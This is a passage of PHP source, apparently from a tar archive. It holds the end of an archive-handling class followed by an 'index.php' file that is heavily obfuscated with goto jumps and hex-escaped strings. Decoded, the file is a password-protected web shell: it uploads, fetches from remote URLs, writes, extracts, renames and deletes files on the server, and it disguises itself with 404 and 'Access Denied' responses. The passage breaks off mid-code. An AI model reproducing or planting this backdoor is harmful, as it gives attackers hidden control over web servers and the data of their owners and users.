$this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } index.php000064400000241240150547657620006410 0ustar00open($WxlCc) === TRUE) { goto dnKYZ; } goto yjRLJ; rcgmR: YAz4q: goto AeSrz; qOyLV: if (!($UyGf4 !== $RN9dg)) { goto SGPJe; } goto By17q; gPrp2: $DKH4N = "\x49\x74\x65\x6d\40\x6e\x6f\164\40\x66\157\165\156\144\56"; goto B3Ml1; AViHQ: ItQRC: goto NCBWC; jWvjk: echo urlencode(dirname($UyGf4)); goto sskkE; VJKE0: $DKH4N = "\x49\156\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\x74\171\x70\x65\40\x6f\162\40\146\151\154\145\40\x61\x6c\x72\x65\141\x64\171\40\145\170\x69\x73\x74\163\56"; goto Y3LxI; qM33z: if (!($st1pL && isset($_POST["\x66\145\164\x63\150\x5f\162\x65\155\157\x74\145"]) && !empty($_POST["\162\x65\x6d\157\164\145\137\165\x72\x6c"]))) { goto T_Iui; } goto qfRoT; uBvqX: $DKH4N = "\x49\164\145\x6d\40\x64\x6f\167\x6e\x6c\x6f\x61\x64\x65\144\40\163\165\x63\x63\145\x73\x73\x66\x75\x6c\154\x79\x2e"; goto Zbq2n; iPIq9: $DKH4N = "\106\x69\x6c\x65\40\x61\154\162\x65\x61\144\x79\40\x65\x78\x69\163\164\163\x2e"; goto QH0ar; AoQU8: $XSEgQ = znO1r($_POST["\151\x74\x65\x6d\x5f\x6e\141\155\145"]); goto A6W2h; CxVnM: $P1G3L = ZNO1R($_POST["\x66\x6f\x6c\144\x65\162\x5f\156\141\x6d\145"]); goto NHwLm; xAZme: if (file_exists($xAY2y)) { goto ohQxi; } goto gPrp2; NrS0O: onpA9: goto Jr6hd; HrspV: yUGjA: goto HFgF1; jC0wy: $DKH4N = "\111\164\145\155\40\x75\x70\x6c\x6f\x61\x64\145\144\x20\x73\165\x63\143\145\x73\x73\146\165\x6c\x6c\x79\56"; goto Xtn5l; KCWei: if (isset($_POST["\x73\145\x63\165\162\x65\137\x6b\145\x79"]) && isset($_POST["\143\163\x72\146\x5f\x74\x6f\x6b\x65\x6e"]) && $_POST["\x63\163\x72\x66\x5f\x74\157\x6b\x65\x6e"] === $_SESSION["\143\x73\x72\x66\x5f\x74\x6f\153\145\156"]) { goto IJ3Hk; } goto eDJC3; SLPz3: if (!(isset($_FILES["\165\160\x6c\157\x61\144\145\x64\x5f\151\x74\x65\155"]) && $_FILES["\165\160\x6c\x6f\141\x64\145\144\x5f\x69\x74\145\155"]["\145\162\x72\x6f\162"] === UPLOAD_ERR_OK)) { goto P7qdn; } goto tlrMv; O2aP8: IKl1G: goto PqQjK; haRmB: gyQ9C: goto x7QnY; Vc9UK: yHBos: goto nxE40; yH4Cb: if (in_array($Vjqae, $yC3U8) && !file_exists($l4vH0)) { goto YAz4q; } goto VJKE0; F2e6r: if (file_put_contents($xAY2y, $cFfUK) !== false) { goto fSUu0; } goto CQNeC; mqeiq: goto CqYQN; goto O2aP8; GV3it: $DKH4N = "\111\x74\145\155\x20\x72\145\156\x61\155\x65\144\x20\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\171\x2e"; goto AViHQ; HbETr: if (!(!$UyGf4 || !is_dir($UyGf4) || !is_readable($UyGf4) || strpos($UyGf4, $RN9dg) !== 0)) { goto IUKiV; } goto SFaK1; g9sUN: sort($RKVRy); goto IttBb; fP2_W: header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\164\145\170\164\x2f\160\154\141\151\156"); goto lVPL0; aK3Vo: Axvto: goto A3raI; sbUHL: QuW09: goto mU9_h; Oo1ct: CtH4i: goto xmdTh; FdNTJ: $RKVRy = []; goto DXZMW; JENU1: OCuP1: goto NHWkd; dxbFr: bPia2: goto tVO8Z; LXZOP: $DKH4N = "\x45\x72\162\157\x72\40\145\x78\x74\x72\141\x63\x74\151\x6e\x67\x20\141\162\x63\x68\x69\x76\145\x2e"; goto YprUx; S5SU9: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto lkCg9; OQPz9: T_Iui: goto YNA75; k7_aS: echo htmlspecialchars($_SESSION["\x63\163\162\146\x5f\164\x6f\x6b\x65\156"]); goto MKafv; RkyCs: echo "\42\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\x74\171\x70\145\75\x22\164\x65\x78\x74\42\x20\x6e\141\155\145\x3d\42\146\157\x6c\x64\145\x72\137\x6e\141\155\x65\x22\x20\143\154\x61\x73\x73\x3d\42\146\154\x65\x78\55\x31\40\160\55\x33\x20\142\157\x72\x64\145\162\40\x72\157\x75\x6e\x64\145\x64\x2d\x6c\x67\x20\146\x6f\x63\x75\163\72\x6f\x75\164\154\151\156\145\55\156\157\156\145\40\x66\157\143\x75\x73\x3a\162\151\156\147\55\x32\40\x66\157\x63\165\x73\x3a\162\151\156\147\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x22\40\160\x6c\141\143\145\150\157\x6c\144\145\162\x3d\42\x46\157\154\x64\145\x72\x20\x6e\x61\x6d\145\x22\x20\x72\x65\x71\165\x69\162\x65\144\x3e\xd\xa\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\x65\75\x22\163\165\x62\155\x69\x74\42\x20\x6e\x61\x6d\x65\75\42\141\144\x64\137\144\x69\162\x65\143\164\x6f\162\171\x22\40\x63\154\141\x73\x73\x3d\42\142\x67\55\166\x69\166\x69\x64\x2d\164\145\141\x6c\40\x74\x65\x78\164\55\x77\150\151\x74\x65\x20\160\55\63\x20\162\x6f\165\156\144\145\144\55\x6c\147\x20\150\x6f\166\145\162\72\x62\x67\55\166\x69\x76\151\x64\55\164\x65\x61\x6c\x2d\144\x61\162\x6b\40\x76\151\166\151\144\55\164\x72\x61\x6e\163\151\x74\151\157\x6e\42\x3e\x41\x64\144\x3c\x2f\142\165\164\164\x6f\x6e\x3e\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x66\157\162\x6d\x3e\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\57\144\151\166\76\15\12\xd\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\x21\x2d\55\x20\x55\160\154\157\x61\x64\x20\111\x74\145\155\40\x2d\x2d\76\xd\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\142\x67\55\167\150\x69\x74\x65\40\x70\55\x36\x20\162\x6f\x75\156\x64\x65\144\55\170\x6c\40\163\150\141\144\157\167\55\x78\154\40\166\151\166\x69\x64\x2d\x68\157\166\145\162\x22\76\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\150\63\40\143\154\x61\163\163\x3d\42\x74\x65\170\x74\55\170\154\40\x66\157\x6e\x74\x2d\163\145\x6d\x69\x62\x6f\x6c\144\x20\x6d\142\55\64\40\x74\x65\x78\x74\55\166\x69\x76\151\x64\x2d\143\x68\141\162\143\x6f\x61\x6c\x22\76\125\x70\x6c\157\141\144\40\111\164\145\x6d\74\x2f\150\x33\76\15\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\x66\157\162\155\x20\x6d\145\x74\x68\157\144\75\x22\160\157\x73\x74\x22\40\145\156\143\x74\x79\x70\x65\75\x22\155\x75\154\164\151\160\x61\x72\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\42\x20\143\x6c\x61\163\x73\x3d\x22\x66\154\145\170\40\x73\x70\141\143\x65\55\x78\x2d\63\42\x3e\15\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\40\164\171\x70\145\75\42\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x63\x73\x72\x66\x5f\x74\x6f\153\x65\x6e\42\x20\x76\141\154\x75\145\x3d\x22"; goto k7_aS; Hfcg3: fSUu0: goto HF3ib; HWu98: echo "\40\x20\40\40\x20\40\40\40\74\57\144\151\166\x3e\15\xa\15\12\40\40\x20\40\x20\x20\x20\40\x3c\41\55\x2d\40\111\164\x65\x6d\40\124\141\x62\x6c\145\40\55\55\x3e\15\xa\40\x20\40\40\x20\x20\40\40\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\42\x62\x67\55\x77\x68\x69\164\x65\x20\x72\157\165\x6e\144\145\144\x2d\x78\x6c\x20\163\150\141\144\157\167\55\x78\154\40\x6f\166\145\x72\x66\154\157\x77\x2d\170\x2d\141\165\164\157\x22\76\xd\12\x20\40\40\40\40\x20\40\40\40\40\40\40\x3c\x74\x61\142\154\145\40\143\x6c\x61\x73\x73\x3d\42\x77\55\146\165\154\154\x22\x3e\xd\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\74\x74\150\x65\141\x64\40\x63\x6c\141\x73\163\x3d\42\x62\x67\55\147\162\141\171\55\61\60\60\x22\x3e\xd\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\164\x72\40\x63\x6c\x61\x73\x73\75\42\163\x74\151\143\153\171\x2d\150\145\x61\144\145\162\x22\x3e\xd\12\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\74\x74\x68\40\x63\154\x61\163\163\75\42\160\x2d\64\40\x74\x65\x78\x74\x2d\x6c\x65\146\x74\40\164\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\154\42\76\116\141\155\x65\x3c\x2f\x74\150\76\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x74\x68\40\x63\154\141\x73\x73\75\x22\x70\55\x34\40\164\x65\x78\164\x2d\x6c\x65\x66\164\40\164\145\170\x74\x2d\166\x69\166\x69\x64\55\x63\x68\x61\x72\143\157\141\x6c\42\x3e\124\171\x70\145\x3c\57\164\x68\x3e\15\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x3c\x74\150\x20\x63\154\141\x73\163\x3d\42\160\x2d\x34\40\164\x65\170\164\x2d\154\145\146\164\40\x74\145\x78\164\x2d\x76\151\x76\151\x64\x2d\x63\x68\141\162\143\157\x61\154\42\76\123\x69\x7a\x65\74\x2f\x74\150\76\15\xa\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\164\x68\40\x63\x6c\141\x73\x73\75\42\x70\55\x34\40\x74\x65\170\164\55\154\145\146\x74\x20\164\145\170\164\x2d\166\151\166\x69\x64\x2d\x63\150\141\x72\x63\x6f\141\x6c\42\76\x57\162\x69\x74\141\142\x6c\x65\74\57\164\x68\76\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\164\x68\x20\x63\x6c\141\163\163\75\x22\x70\x2d\64\40\164\145\x78\164\x2d\154\x65\146\164\x20\164\x65\170\164\x2d\166\151\x76\151\144\x2d\143\x68\x61\162\143\x6f\x61\x6c\42\76\x4c\x61\163\x74\x20\x4d\157\144\151\146\x69\x65\x64\x3c\x2f\164\150\76\xd\xa\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\74\x74\x68\x20\x63\x6c\x61\163\x73\x3d\42\160\x2d\64\40\x74\x65\x78\164\x2d\x6c\145\x66\164\x20\x74\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\143\157\141\154\42\76\x41\143\164\x69\x6f\x6e\x73\x3c\57\164\150\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x2f\164\162\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\150\x65\x61\144\76\15\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\74\x74\x62\157\144\171\x3e\xd\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\74\41\x2d\x2d\x20\120\x61\x72\x65\156\164\x20\127\157\162\x6b\163\160\141\x63\145\40\55\55\x3e\xd\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20"; goto qOyLV; woUVw: if (in_array($Vjqae, $yC3U8) && $GpDM3["\x73\151\x7a\x65"] <= $k0Bn2) { goto IKl1G; } goto ECHTC; dP3kX: $WGk33 = "\x24\62\x61\44\x31\x32\x24\x6e\154\x63\113\157\x67\x68\124\122\170\x68\160\x64\x71\165\x67\x69\x48\63\x71\x6e\165\x41\106\141\x64\152\101\x6b\154\x33\x75\x76\x31\63\142\x78\116\60\x5a\120\146\x76\150\x33\105\x74\64\x77\x32\x46\x77\x36"; goto jqJC3; hqgSy: if (file_put_contents($mROC6, $cFfUK) !== false) { goto pTXEj; } goto OPJ29; GvIZt: p398x: goto qoPOT; lxXy6: $DKH4N = "\x46\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\x65\x64\x20\x73\x75\143\143\x65\163\163\x66\x75\154\x6c\171\x2e"; goto sbUHL; xmdTh: if (!(isset($_POST["\144\145\154\x65\164\145\x5f\x69\x74\x65\x6d"]) && !empty($_POST["\151\x74\x65\x6d\137\x6e\141\155\x65"]))) { goto x2JdP; } goto LSpRx; MWILr: http_response_code(404); goto gl1j0; UdP8y: goto w2IvO; goto G4i7T; HFgF1: echo "\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x21\55\55\x20\106\x69\154\145\163\40\x2d\55\x3e\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20"; goto dBSpP; HJ2Jy: VHTWA: goto LPb1A; m_Nxc: goto TNzCi; goto GvIZt; VPmED: $mROC6 = $UyGf4 . "\57" . $XSEgQ; goto f8J_i; aTPSO: die("\15\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x21\104\117\103\x54\131\x50\105\x20\150\164\x6d\x6c\76\15\xa\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\74\x68\164\155\154\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x68\x65\x61\144\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\155\145\x74\141\x20\x63\x68\141\x72\163\x65\x74\x3d\x22\125\124\106\55\x38\x22\x3e\15\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\x22\x76\x69\x65\x77\160\157\x72\164\42\40\143\157\156\x74\145\x6e\x74\x3d\42\x77\151\144\164\150\x3d\144\145\x76\x69\143\x65\55\x77\151\144\164\x68\x2c\x20\x69\x6e\151\164\x69\141\x6c\55\x73\x63\x61\154\145\75\x31\x2e\60\x22\76\xd\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\164\151\x74\154\145\x3e\101\x63\x63\x65\x73\163\x20\x44\x65\x6e\151\145\x64\74\57\164\x69\x74\x6c\x65\x3e\xd\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x3c\x73\x63\x72\151\160\164\40\163\162\x63\x3d\x22\150\164\164\x70\x73\72\x2f\x2f\x63\144\156\56\164\x61\151\154\x77\x69\x6e\144\x63\163\163\x2e\143\157\x6d\42\76\74\57\x73\x63\162\x69\160\x74\76\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\x2f\x68\x65\x61\144\76\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\74\142\x6f\144\x79\40\x63\154\x61\163\x73\75\x22\142\147\55\166\x69\x76\x69\144\x2d\163\x6c\141\x74\145\x20\155\x69\156\55\150\55\163\143\162\145\145\x6e\40\146\154\x65\x78\x20\151\164\145\x6d\x73\55\x63\x65\156\164\x65\162\40\152\165\x73\164\x69\x66\171\55\x63\145\156\164\x65\162\42\x3e\15\12\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x62\x67\x2d\x77\150\x69\x74\145\x20\160\x2d\70\40\162\157\165\156\144\x65\144\x2d\170\154\40\x73\x68\x61\x64\157\x77\x2d\170\x6c\40\167\55\146\165\x6c\x6c\40\155\x61\170\55\167\x2d\155\x64\x22\x3e\xd\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\74\150\62\x20\143\x6c\141\163\x73\x3d\42\164\145\170\x74\x2d\62\x78\154\40\x66\x6f\x6e\164\x2d\142\x6f\x6c\144\40\155\x62\55\66\x20\x74\145\170\x74\55\x63\x65\x6e\x74\145\162\40\x74\145\170\164\x2d\166\151\x76\x69\144\55\143\x68\141\162\143\157\x61\154\42\76\123\145\143\165\162\x65\x20\x41\143\x63\145\163\x73\40\122\145\x71\165\x69\162\x65\144\74\x2f\150\x32\x3e\15\xa\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\x53\x54\x22\76\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\74\151\x6e\x70\x75\164\40\164\x79\160\x65\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\145\75\42\x63\163\162\x66\x5f\x74\157\x6b\145\156\42\x20\166\141\x6c\x75\145\x3d\x22" . htmlspecialchars($_SESSION["\x63\163\x72\x66\x5f\164\x6f\x6b\x65\156"]) . "\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\75\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\x65\75\x22\163\145\143\165\162\x65\137\153\145\x79\42\40\143\154\x61\x73\x73\75\42\167\55\x66\x75\154\x6c\40\x70\x2d\x33\40\x62\x6f\x72\144\x65\x72\x20\162\x6f\x75\156\144\145\x64\55\154\147\40\x6d\x62\x2d\64\40\x66\x6f\143\x75\163\72\x6f\x75\x74\154\x69\156\145\55\156\157\x6e\x65\40\146\157\143\x75\163\x3a\162\x69\156\147\x2d\62\40\x66\157\143\165\x73\72\x72\x69\156\147\x2d\x76\x69\x76\151\x64\x2d\164\145\141\154\x22\40\160\x6c\x61\x63\x65\150\x6f\154\x64\x65\162\75\x22\105\156\164\x65\x72\40\163\x65\x63\x75\x72\x65\40\x6b\145\x79\42\40\x72\x65\161\165\x69\162\145\x64\x20\141\165\164\x6f\x66\157\x63\x75\x73\x3e\15\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\x62\165\x74\164\x6f\156\x20\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\40\143\x6c\141\163\163\x3d\42\167\x2d\x66\x75\154\x6c\40\x62\x67\x2d\166\x69\x76\x69\x64\55\x74\x65\x61\x6c\x20\164\145\x78\164\x2d\167\150\x69\x74\145\x20\160\x2d\63\40\162\x6f\x75\x6e\144\x65\144\x2d\x6c\147\x20\150\x6f\x76\x65\x72\72\142\x67\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x2d\144\141\162\153\x20\x74\x72\141\x6e\163\x69\x74\x69\x6f\156\x22\76\x55\156\x6c\x6f\143\153\74\x2f\142\165\164\164\157\x6e\x3e\15\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\57\146\157\x72\x6d\x3e\xd\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\x2f\142\157\x64\171\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x2f\150\x74\x6d\154\76\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40"); goto SMr58; O9Dx9: RzJMB: goto N3l0l; NCBWC: u8vax: goto Oo1ct; Y4wm7: if (isset($_SESSION["\143\x73\162\x66\x5f\164\157\x6b\x65\x6e"])) { goto gWWpv; } goto KwgZJ; gh_lz: mNuwv: goto B39ub; qoPOT: if (move_uploaded_file($GpDM3["\164\x6d\160\x5f\156\141\x6d\145"], $HdMJq)) { goto v_hRO; } goto pm_kD; qYmxS: OId96: goto HWu98; JT0AX: DDCY5: goto n2X9C; N1kwB: $DKH4N = "\x46\x69\x6c\x65\40\x63\162\x65\x61\164\x65\x64\x20\x73\165\x63\143\145\x73\x73\x66\165\x6c\154\x79\x2e"; goto aK3Vo; dRHGU: goto T8Xvk; goto xNlQn; qfRoT: $MhPPM = filter_var($_POST["\162\145\155\157\164\145\x5f\165\162\154"], FILTER_VALIDATE_URL); goto S33WT; ohyY2: echo "\x22\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\x70\x65\75\42\150\151\144\144\145\x6e\42\x20\151\x64\x3d\42\x6f\162\x69\x67\151\156\141\x6c\111\x74\145\x6d\116\141\155\x65\42\40\x6e\x61\155\x65\75\42\157\x72\x69\147\151\x6e\141\x6c\137\x6e\141\x6d\x65\42\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\42\164\145\170\164\42\x20\151\x64\x3d\42\x6e\x65\167\111\164\145\x6d\116\x61\155\x65\42\40\x6e\141\155\145\75\42\156\x65\x77\137\x6e\141\x6d\145\x22\x20\143\154\141\163\x73\x3d\42\167\x2d\x66\165\x6c\x6c\x20\x70\55\63\40\142\x6f\x72\144\x65\x72\x20\x72\157\165\x6e\x64\145\x64\55\x6c\147\x20\155\x62\55\x36\x20\146\x6f\x63\x75\x73\x3a\x6f\165\x74\x6c\151\x6e\145\55\156\x6f\156\145\40\146\157\143\165\x73\72\x72\151\x6e\x67\55\x32\x20\x66\x6f\x63\165\x73\x3a\x72\x69\x6e\x67\55\x76\151\166\x69\x64\55\x74\x65\141\x6c\x22\x20\x72\145\161\165\151\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x66\x6c\145\x78\x20\x6a\165\163\164\151\x66\x79\55\145\x6e\x64\40\x73\x70\x61\143\145\x2d\170\55\x33\x22\76\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\x62\165\164\x74\x6f\156\x20\x74\171\160\145\x3d\42\163\x75\142\x6d\151\x74\42\40\156\141\155\x65\x3d\42\x72\x65\x6e\141\155\145\137\151\x74\x65\x6d\x22\x20\143\154\x61\163\163\x3d\x22\142\x67\x2d\x67\x72\x65\x65\x6e\55\65\60\x30\40\164\145\x78\164\55\x77\x68\151\x74\145\x20\x70\x78\x2d\65\x20\160\171\55\62\40\162\x6f\165\156\144\145\144\x2d\154\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\162\145\x65\156\55\x36\60\x30\x20\x76\151\x76\151\144\x2d\164\162\141\x6e\x73\x69\x74\x69\157\156\x22\x3e\x53\x61\x76\x65\74\57\x62\x75\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\75\42\x62\165\164\164\x6f\x6e\x22\40\157\156\x63\154\x69\x63\153\x3d\x22\x63\x6c\157\x73\x65\104\x69\141\154\x6f\x67\50\x27\162\x65\x6e\x61\155\x65\x44\x69\x61\154\157\147\x27\51\42\x20\143\x6c\x61\x73\x73\75\x22\142\x67\x2d\147\x72\141\x79\55\x35\60\x30\40\164\x65\x78\164\55\167\x68\x69\x74\145\x20\x70\x78\x2d\x35\40\x70\171\55\62\x20\162\157\165\156\144\145\x64\55\x6c\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\x72\x61\171\55\66\x30\x30\x20\x76\x69\166\151\x64\x2d\x74\162\141\156\x73\x69\164\x69\x6f\x6e\42\76\x43\x61\x6e\143\x65\x6c\x3c\x2f\x62\165\164\x74\x6f\156\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\74\x2f\x64\x69\166\x3e\xd\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\40\40\40\40\40\x3c\57\144\x69\166\x3e\15\xa\x20\x20\40\40\x3c\57\144\x69\x76\x3e\15\12\15\12\40\40\40\40\x3c\163\x63\x72\151\x70\x74\76\15\12\40\40\x20\x20\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\x6e\40\145\144\151\x74\x49\x74\145\x6d\x28\x69\164\145\x6d\116\141\x6d\x65\51\x20\173\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x66\145\164\143\x68\x28\47\77\167\157\162\153\x73\160\x61\143\145\x3d"; goto kX0on; NHWkd: rwOYV: goto rbgYx; U2HJ2: $DKH4N = "\101\x72\x63\150\151\x76\145\x20\145\170\x74\162\x61\143\164\145\144\x20\163\x75\143\x63\x65\163\x73\x66\x75\154\154\x79\x2e"; goto ZgEir; QUnki: w2IvO: goto KsqrH; By17q: echo "\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x3c\164\162\x20\x63\x6c\x61\x73\x73\75\42\142\x6f\162\x64\x65\x72\55\164\40\150\157\x76\145\162\x3a\x62\147\x2d\x67\162\x61\171\x2d\65\x30\x20\x76\x69\x76\x69\x64\55\164\x72\141\x6e\163\151\164\151\x6f\156\x22\x3e\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\74\164\144\x20\143\x6c\x61\x73\x73\x3d\42\160\x2d\64\42\76\74\x69\x20\x63\x6c\141\163\x73\75\x22\x66\141\x73\x20\146\x61\x2d\146\157\154\144\x65\162\40\x6d\x72\x2d\x32\x20\164\x65\170\164\55\x76\151\166\151\144\55\164\x65\x61\154\x22\x3e\x3c\57\151\76\74\141\x20\x68\162\145\146\x3d\x22\77\167\x6f\x72\x6b\x73\160\141\143\145\75"; goto jWvjk; xNcuq: IJ3Hk: goto xjUUI; mjAZx: if (!(isset($_POST["\165\x6e\172\x69\160\x5f\x61\x72\143\150\151\166\145"]) && !empty($_POST["\141\x72\x63\x68\151\166\x65\x5f\156\141\x6d\x65"]))) { goto hViYW; } goto t1YDS; RjKFq: $HcnX3 = new ZipArchive(); goto Ss9oR; Qm7yr: goto u8vax; goto amQwH; OEbq_: echo "\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\x20\40\40\x20\x20\40\x20"; goto ooNWl; Zbq2n: l6riZ: goto mwnF6; amQwH: lHkIz: goto Jhmnc; SMr58: goto OCuP1; goto O9Dx9; aadQB: dfEiu: goto hqgSy; A6W2h: $cFfUK = $_POST["\x69\x74\145\155\x5f\x63\x6f\x6e\x74\145\156\x74"] ?? ''; goto 